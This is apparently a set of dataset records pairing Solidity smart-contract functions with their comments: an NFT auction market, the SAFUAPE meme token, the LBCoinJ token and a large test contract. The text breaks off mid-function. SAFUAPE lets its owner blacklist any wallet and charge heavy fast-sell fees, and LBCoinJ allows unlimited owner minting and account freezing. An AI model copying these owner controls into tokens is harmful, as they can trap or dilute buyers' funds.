return true; } function updateSale(uint256 _tokenId, uint256 _price) public returns (bool) { require(hasAuction(_tokenId) == false); uint oldPrice = price[_tokenId]; require(msg.sender == ownerOf(_tokenId)); price[_tokenId] = _price; emit NftListStatus(msg.sender, _tokenId, true); if (listedMap[_tokenId] != true) { listedMap[_tokenId] = true; emit PriceUpdate(msg.sender, oldPrice, _price, _tokenId); } return true; } } contract AuctionMarket is Market { constructor() ERC721("conbox", "conbox") { } //경매 판매 생성 function auctionMint(string memory _tokenURI, address _toAddress,uint _minValue,uint _auctionTime) public returns (uint) { uint _tokenId = totalSupply() + 1; price[_tokenId] = _minValue; _safeMint(_toAddress, _tokenId); _setTokenURI(_tokenId, _tokenURI); emit Minted(_toAddress, _minValue, _tokenId, _tokenURI); _createAuction(_tokenId,_minValue,_auctionTime); return _tokenId; } //경매생성 function createAuction(uint _tokenId, uint _minValue,uint _auctionTime) public virtual { require(listedMap[_tokenId] == false); // 즉시판매 진행중 _createAuction(_tokenId,_minValue,_auctionTime); } //경매취소 function cancelAuction(uint _tokenId) public virtual { _cancelAuction(_tokenId); } //입찰 function bid(uint _tokenId) external payable { _bid(_tokenId); } //입찰취소 function cancelBid(uint _tokenId) external payable { _cancelBid(_tokenId); } //경매종료 function endAuction(uint _tokenId) external payable { _endAuction(_tokenId); } }
See {IERC721-safeTransferFrom}./
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { require(hasAuction(tokenId) == false); safeTransferFrom(from, to, tokenId, ""); }
1,270,286
/** *Submitted for verification at Etherscan.io on 2022-03-18 */ // _,_ // .--. .-" "-. .--. // / .. \/ .-. .-. \/ .. \ // | | '| / Y \ |' | | // | \ \ \ 0 | 0 / / / | // \ '- ,\.-"`` ``"-./, -' / // `'-' /_ ^ ^ _\ '-'` // | \._ _./ | // \ \ `~` / / // '._ '-=-' _.' // '---' // WEBSITE: safuape.finance // TELEGRAM: https://t.me/SafuApeETH // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SAFUAPE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "SAFUAPE"; string private constant _symbol = "SAPE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; // Jeets out Fee uint256 private _redisFeeJeets = 0; uint256 private _taxFeeJeets = 17; // Buy Fee uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 5; // Sell Fee uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; // Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0xB6cE6712871B8FCcAF2a593C56680866442F29b3); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public timeJeets = 2 hours; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; uint256 public _maxTxAmount = 15e9 * 10**9; //1.5% uint256 public _maxWalletSize = 3e10 * 10**9; //3% uint256 public _swapTokensAtAmount = 1000 * 10**9; uint256 public _minimumBuyAmount = 15e9 * 10**9 ; // 1.5% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { // Trade start check if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 20 minutes) { require(amount <= _minimumBuyAmount, "Amount too much"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; // Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { // Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; // antibot if (block.timestamp == launchTime) { _isSniper[to] = true; } } // Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) { _redisFee = _redisFeeJeets; _taxFee = _taxFeeJeets; } else { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner { isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address sniper) external onlyOwner { _isSniper[sniper] = true; } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount >= 5e9 * 10**9, "Maximum transaction amount must be greater than 0.5%"); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } // USUAL TAXES CANNOT BE RAISED MORE THAN 15% function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { require(amountBuy >= 0 && amountBuy <= 13); require(amountSell >= 0 && amountSell <= 13); _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { require(amountRefBuy >= 0 && amountRefBuy <= 1); require(amountRefSell >= 0 && amountRefSell <= 1); _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { require(amount >= 0 && amount <= 1); _burnFee = amount; } // FAST SELL TAXES CANNOT BE RAISED MORE THAN 20% and 4 hours function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner { require(amountRedisJeets >= 0 && amountRedisJeets <= 1); require(amountTaxJeets >= 0 && amountTaxJeets <= 19); _redisFeeJeets = amountRedisJeets; _taxFeeJeets = amountTaxJeets; } function setTimeJeets(uint256 hoursTime) external onlyOwner { require(hoursTime >= 0 && hoursTime <= 4); timeJeets = hoursTime * 1 hours; } }
FAST SELL TAXES CANNOT BE RAISED MORE THAN 20% and 4 hours
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner { require(amountRedisJeets >= 0 && amountRedisJeets <= 1); require(amountTaxJeets >= 0 && amountTaxJeets <= 19); _redisFeeJeets = amountRedisJeets; _taxFeeJeets = amountTaxJeets; }
15,127,488
//Address: 0xd626b209cc0cc8f8b8582a468831ed524711f803 //Contract name: LBCoinJ //Balance: 0 Ether //Verification Date: 5/16/2018 //Transacion Count: 1 // CODE STARTS HERE pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function multiply(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function division(uint256 a, uint256 b) internal pure returns(uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function subtract(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function plus(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns(uint256); function balanceOf(address who) public view returns(uint256); function transfer(address to, uint256 value) public returns(bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns(uint256); function transferFrom(address from, address to, uint256 value) public returns(bool); function approve(address spender, uint256 value) public returns(bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns(uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ /* function _transfer(address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].subtract(_value); balances[_to] = balances[_to].plus(_value); emit Transfer(msg.sender, _to, _value); return true; } */ /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balances[_from] >= _value); // Check for overflows require(balances[_to].plus(_value) > balances[_to]); // Save this for an assertion in the future uint previousBalances = balances[_from].plus(balances[_to]); // Subtract from the sender balances[_from] = balances[_from].subtract(_value); // Add the same to the recipient balances[_to] = balances[_to].plus(_value); emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balances[_from].plus(balances[_to]) == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns(bool) { _transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns(uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].subtract(_value); balances[_to] = balances[_to].plus(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].subtract(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns(bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns(uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns(bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].plus(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.subtract(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title SimpleToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract LBCoinJ is owned, StandardToken { string public name; string public symbol; uint8 public constant decimals = 18; uint256 public sellPrice; uint256 public buyPrice; bool public emergencyStop; mapping(address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); event Emergency(bool stop); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /// @dev Constructor that gives msg.sender all of existing tokens. function LBCoinJ(string tokenName, string tokenSymbol, uint256 initialSupply) public { name = tokenName; symbol = tokenSymbol; totalSupply_ = initialSupply * 10 ** uint256(decimals); balances[msg.sender] = totalSupply_; emit Transfer(0x0, msg.sender, totalSupply_); } /* function LBCoinJ() public { name = "LBCoinTest2"; symbol = "LBCTS"; totalSupply_ = 10000 * 10 ** uint256(decimals); balances[msg.sender] = totalSupply_; emit Transfer(0x0, msg.sender, totalSupply_); } */ /// Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require(balances[_from] >= _value); // Check if the sender has enough require(balances[_to].plus(_value) >= balances[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen require(!emergencyStop); // Check Emergency // SafeMath.sub will throw if there is not enough balance. balances[_from] = balances[_from].subtract(_value); balances[_to] = balances[_to].plus(_value); emit Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balances[target] = balances[target].plus(mintedAmount); totalSupply_ = totalSupply_.plus(mintedAmount); emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } /// @notice Destroy tokens /// @notice Remove `_value` tokens from the system irreversibly /// @param _value the amount of money to burn function burn(uint256 _value) public returns(bool success) { require(balances[msg.sender] >= _value); // Check if the sender has enough balances[msg.sender] = balances[msg.sender].subtract(_value); // Subtract from the sender totalSupply_ = totalSupply_.subtract(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } // setting emergency stop !! function emergency(bool stop) onlyOwner public { emergencyStop = stop; emit Emergency(emergencyStop); } }
Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend)./
function subtract(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; }
12,571,590
// to test issue with nodes breaking with large clients over WS // fixed in web3 with fragmentationThreshold: 8192 pragma solidity ^0.4.17; contract BigFreakingContract { event Transfer(address indexed from, address indexed to, uint value); event Approval( address indexed owner, address indexed spender, uint value); mapping( address => uint ) _balances; mapping( address => mapping( address => uint ) ) _approvals; uint public _supply; constructor( uint initial_balance ) public { _balances[msg.sender] = initial_balance; _supply = initial_balance; } function totalSupply() public constant returns (uint supply) { return _supply; } function balanceOf( address who ) public constant returns (uint value) { return _balances[who]; } function transfer( address to, uint value) public returns (bool ok) { if( _balances[msg.sender] < value ) { revert(); } if( !safeToAdd(_balances[to], value) ) { revert(); } _balances[msg.sender] -= value; _balances[to] += value; emit Transfer( msg.sender, to, value ); return true; } function transferFrom( address from, address to, uint value) public returns (bool ok) { // if you don't have enough balance, throw if( _balances[from] < value ) { revert(); } // if you don't have approval, throw if( _approvals[from][msg.sender] < value ) { revert(); } if( !safeToAdd(_balances[to], value) ) { revert(); } // transfer and return true _approvals[from][msg.sender] -= value; _balances[from] -= value; _balances[to] += value; emit Transfer( from, to, value ); return true; } function approve(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function allowance(address owner, address spender) public constant returns (uint _allowance) { return _approvals[owner][spender]; } function safeToAdd(uint a, uint b) internal pure returns (bool) { return (a + b >= a); } function isAvailable() public pure returns (bool) { return false; } function approve_1(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_2(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_3(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_4(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_5(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_6(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_7(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_8(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_9(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_10(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_11(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_12(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_13(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_14(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_15(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_16(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_17(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_18(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_19(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_20(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_21(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_22(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_23(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_24(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( 